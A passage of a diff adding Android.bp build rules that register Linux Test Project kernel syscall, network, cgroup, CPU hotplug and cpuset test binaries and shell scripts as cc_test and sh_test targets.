+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/symlink/symlink01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_symlink02",
+    stem: "symlink02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/symlink/symlink02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_symlink03",
+    stem: "symlink03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/symlink/symlink03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_symlink04",
+    stem: "symlink04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/symlink/symlink04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_symlink05",
+    stem: "symlink05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/symlink/symlink05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_symlinkat01",
+    stem: "symlinkat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/symlinkat/symlinkat01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sync01",
+    stem: "sync01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sync/sync01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sync02",
+    stem: "sync02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sync/sync02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sync_file_range01",
+    stem: "sync_file_range01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sync_file_range/sync_file_range01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_syncfs01",
+    stem: "syncfs01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/syncfs/syncfs01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_syscall01",
+    stem: "syscall01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/syscall/syscall01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sysconf01",
+    stem: "sysconf01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sysconf/sysconf01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sysctl01",
+    stem: "sysctl01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sysctl/sysctl01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sysctl03",
+    stem: "sysctl03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sysctl/sysctl03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sysctl04",
+    stem: "sysctl04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sysctl/sysctl04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sysfs01",
+    stem: "sysfs01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sysfs/sysfs01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sysfs02",
+    stem: "sysfs02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sysfs/sysfs02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sysfs03",
+    stem: "sysfs03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sysfs/sysfs03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sysfs04",
+    stem: "sysfs04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sysfs/sysfs04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sysfs05",
+    stem: "sysfs05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sysfs/sysfs05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sysfs06",
+    stem: "sysfs06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sysfs/sysfs06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sysinfo01",
+    stem: "sysinfo01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sysinfo/sysinfo01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sysinfo02",
+    stem: "sysinfo02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sysinfo/sysinfo02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_syslog11",
+    stem: "syslog11",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/syslog/syslog11.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_syslog12",
+    stem: "syslog12",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/syslog/syslog12.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_syslogtst",
+    stem: "syslogtst",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/syslog/syslogtst.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tbio",
+    stem: "tbio",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/device-drivers/tbio/tbio_user/tbio.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tee01",
+    stem: "tee01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/tee/tee01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tee02",
+    stem: "tee02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/tee/tee02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test01",
+    stem: "test01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test02",
+    stem: "test02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test03",
+    stem: "test03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test04",
+    stem: "test04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test05",
+    stem: "test05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test06",
+    stem: "test06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test07",
+    stem: "test07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test08",
+    stem: "test08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test09",
+    stem: "test09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test10",
+    stem: "test10",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test10.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test11",
+    stem: "test11",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test11.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test12",
+    stem: "test12",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test12.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test13",
+    stem: "test13",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test13.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test14",
+    stem: "test14",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test14.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test15",
+    stem: "test15",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test15.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test16",
+    stem: "test16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test16.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test17",
+    stem: "test17",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test17.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test18",
+    stem: "test18",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test18.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test19",
+    stem: "test19",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test19.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test_exec",
+    stem: "test_exec",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test_exec.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test_exec_child",
+    stem: "test_exec_child",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test_exec_child.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+sh_test {
+    name: "ltp_testcases_bin_add_ipv6addr",
+    src: "testcases/network/stress/ns-tools/add_ipv6addr",
+    sub_dir: "ltp/testcases/bin",
+    filename: "add_ipv6addr",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_arping01.sh",
+    src: "testcases/network/tcp_cmds/arping/arping01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "arping01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ask_password.sh",
+    src: "testcases/kernel/security/mmc_security/ask_password.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ask_password.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_assign_password.sh",
+    src: "testcases/kernel/security/mmc_security/assign_password.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "assign_password.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_bbr01.sh",
+    src: "testcases/network/tcp_cc/bbr01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "bbr01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_bbr02.sh",
+    src: "testcases/network/tcp_cc/bbr02.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "bbr02.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_bind_noport01.sh",
+    src: "testcases/network/sockets/bind_noport01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "bind_noport01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_broken_ip4-checksum",
+    src: "testcases/network/stress/broken_ip/broken_ip4-checksum",
+    sub_dir: "ltp/testcases/bin",
+    filename: "broken_ip4-checksum",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_broken_ip4-dstaddr",
+    src: "testcases/network/stress/broken_ip/broken_ip4-dstaddr",
+    sub_dir: "ltp/testcases/bin",
+    filename: "broken_ip4-dstaddr",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_broken_ip4-fragment",
+    src: "testcases/network/stress/broken_ip/broken_ip4-fragment",
+    sub_dir: "ltp/testcases/bin",
+    filename: "broken_ip4-fragment",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_broken_ip4-ihl",
+    src: "testcases/network/stress/broken_ip/broken_ip4-ihl",
+    sub_dir: "ltp/testcases/bin",
+    filename: "broken_ip4-ihl",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_broken_ip4-protcol",
+    src: "testcases/network/stress/broken_ip/broken_ip4-protcol",
+    sub_dir: "ltp/testcases/bin",
+    filename: "broken_ip4-protcol",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_broken_ip4-totlen",
+    src: "testcases/network/stress/broken_ip/broken_ip4-totlen",
+    sub_dir: "ltp/testcases/bin",
+    filename: "broken_ip4-totlen",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_broken_ip4-version",
+    src: "testcases/network/stress/broken_ip/broken_ip4-version",
+    sub_dir: "ltp/testcases/bin",
+    filename: "broken_ip4-version",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_broken_ip6-dstaddr",
+    src: "testcases/network/stress/broken_ip/broken_ip6-dstaddr",
+    sub_dir: "ltp/testcases/bin",
+    filename: "broken_ip6-dstaddr",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_broken_ip6-nexthdr",
+    src: "testcases/network/stress/broken_ip/broken_ip6-nexthdr",
+    sub_dir: "ltp/testcases/bin",
+    filename: "broken_ip6-nexthdr",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_broken_ip6-plen",
+    src: "testcases/network/stress/broken_ip/broken_ip6-plen",
+    sub_dir: "ltp/testcases/bin",
+    filename: "broken_ip6-plen",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_broken_ip6-version",
+    src: "testcases/network/stress/broken_ip/broken_ip6-version",
+    sub_dir: "ltp/testcases/bin",
+    filename: "broken_ip6-version",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_busy_poll01.sh",
+    src: "testcases/network/busy_poll/busy_poll01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "busy_poll01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_busy_poll02.sh",
+    src: "testcases/network/busy_poll/busy_poll02.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "busy_poll02.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_busy_poll03.sh",
+    src: "testcases/network/busy_poll/busy_poll03.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "busy_poll03.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_busy_poll_lib.sh",
+    src: "testcases/network/busy_poll/busy_poll_lib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "busy_poll_lib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_can_run_tests.sh",
+    src: "testcases/network/can/filter-tests/can_run_tests.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "can_run_tests.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cgroup_fj_common.sh",
+    src: "testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cgroup_fj_common.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cgroup_fj_function.sh",
+    src: "testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cgroup_fj_function.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cgroup_fj_stress.sh",
+    src: "testcases/kernel/controllers/cgroup_fj/cgroup_fj_stress.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cgroup_fj_stress.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cgroup_lib.sh",
+    src: "testcases/kernel/controllers/cgroup_lib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cgroup_lib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cgroup_regression_10_1.sh",
+    src: "testcases/kernel/controllers/cgroup/cgroup_regression_10_1.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cgroup_regression_10_1.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cgroup_regression_10_2.sh",
+    src: "testcases/kernel/controllers/cgroup/cgroup_regression_10_2.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cgroup_regression_10_2.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cgroup_regression_3_1.sh",
+    src: "testcases/kernel/controllers/cgroup/cgroup_regression_3_1.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cgroup_regression_3_1.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cgroup_regression_3_2.sh",
+    src: "testcases/kernel/controllers/cgroup/cgroup_regression_3_2.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cgroup_regression_3_2.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cgroup_regression_6_1.sh",
+    src: "testcases/kernel/controllers/cgroup/cgroup_regression_6_1.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cgroup_regression_6_1.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cgroup_regression_9_1.sh",
+    src: "testcases/kernel/controllers/cgroup/cgroup_regression_9_1.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cgroup_regression_9_1.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cgroup_regression_9_2.sh",
+    src: "testcases/kernel/controllers/cgroup/cgroup_regression_9_2.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cgroup_regression_9_2.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cgroup_regression_test.sh",
+    src: "testcases/kernel/controllers/cgroup/cgroup_regression_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cgroup_regression_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_change_password.sh",
+    src: "testcases/kernel/security/mmc_security/change_password.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "change_password.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_check_envval",
+    src: "testcases/network/stress/ns-tools/check_envval",
+    sub_dir: "ltp/testcases/bin",
+    filename: "check_envval",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_check_icmpv4_connectivity",
+    src: "testcases/network/stress/ns-tools/check_icmpv4_connectivity",
+    sub_dir: "ltp/testcases/bin",
+    filename: "check_icmpv4_connectivity",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_check_icmpv6_connectivity",
+    src: "testcases/network/stress/ns-tools/check_icmpv6_connectivity",
+    sub_dir: "ltp/testcases/bin",
+    filename: "check_icmpv6_connectivity",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_check_netem",
+    src: "testcases/network/stress/ns-tools/check_netem",
+    sub_dir: "ltp/testcases/bin",
+    filename: "check_netem",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_check_setkey",
+    src: "testcases/network/stress/ns-tools/check_setkey",
+    sub_dir: "ltp/testcases/bin",
+    filename: "check_setkey",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_clockdiff01.sh",
+    src: "testcases/network/tcp_cmds/clockdiff/clockdiff01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "clockdiff01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cmdlib.sh",
+    src: "testcases/lib/cmdlib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cmdlib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_connector_test.sh",
+    src: "testcases/kernel/connectors/connector_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "connector_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cp_tests.sh",
+    src: "testcases/commands/cp/cp_tests.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cp_tests.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpio_tests.sh",
+    src: "testcases/commands/cpio/cpio_tests.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpio_tests.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuacct.sh",
+    src: "testcases/kernel/controllers/cpuacct/cpuacct.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuacct.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuhotplug01.sh",
+    src: "testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuhotplug01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuhotplug02.sh",
+    src: "testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug02.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuhotplug02.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuhotplug03.sh",
+    src: "testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug03.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuhotplug03.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuhotplug04.sh",
+    src: "testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug04.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuhotplug04.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuhotplug05.sh",
+    src: "testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuhotplug05.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuhotplug06.sh",
+    src: "testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug06.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuhotplug06.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuhotplug07.sh",
+    src: "testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug07.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuhotplug07.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuhotplug_do_disk_write_loop",
+    src: "testcases/kernel/hotplug/cpu_hotplug/tools/cpuhotplug_do_disk_write_loop",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuhotplug_do_disk_write_loop",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuhotplug_do_kcompile_loop",
+    src: "testcases/kernel/hotplug/cpu_hotplug/tools/cpuhotplug_do_kcompile_loop",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuhotplug_do_kcompile_loop",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuhotplug_do_spin_loop",
+    src: "testcases/kernel/hotplug/cpu_hotplug/tools/cpuhotplug_do_spin_loop",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuhotplug_do_spin_loop",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuhotplug_hotplug.sh",
+    src: "testcases/kernel/hotplug/cpu_hotplug/include/cpuhotplug_hotplug.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuhotplug_hotplug.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuhotplug_report_proc_interrupts",
+    src: "testcases/kernel/hotplug/cpu_hotplug/tools/cpuhotplug_report_proc_interrupts",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuhotplug_report_proc_interrupts",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuhotplug_testsuite.sh",
+    src: "testcases/kernel/hotplug/cpu_hotplug/include/cpuhotplug_testsuite.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuhotplug_testsuite.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuset_base_ops_testset.sh",
+    src: "testcases/kernel/controllers/cpuset/cpuset_base_ops_test/cpuset_base_ops_testset.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuset_base_ops_testset.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuset_exclusive_test.sh",
+    src: "testcases/kernel/controllers/cpuset/cpuset_exclusive_test/cpuset_exclusive_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuset_exclusive_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuset_funcs.sh",
+    src: "testcases/kernel/controllers/cpuset/cpuset_funcs.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuset_funcs.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuset_hierarchy_test.sh",
+    src: "testcases/kernel/controllers/cpuset/cpuset_hierarchy_test/cpuset_hierarchy_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuset_hierarchy_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuset_hotplug_test.sh",
+    src: "testcases/kernel/controllers/cpuset/cpuset_hotplug_test/cpuset_hotplug_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuset_hotplug_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuset_inherit_testset.sh",
+    src: "testcases/kernel/controllers/cpuset/cpuset_inherit_test/cpuset_inherit_testset.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuset_inherit_testset.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuset_load_balance_test.sh",
+    src: "testcases/kernel/controllers/cpuset/cpuset_load_balance_test/cpuset_load_balance_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuset_load_balance_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
